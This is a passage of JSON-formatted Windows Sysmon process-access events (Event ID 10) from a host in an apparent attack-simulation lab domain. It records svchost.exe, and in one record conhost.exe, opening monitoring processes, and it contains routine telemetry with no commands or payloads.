C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001089420300}\r\nTargetProcessId: 3808\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 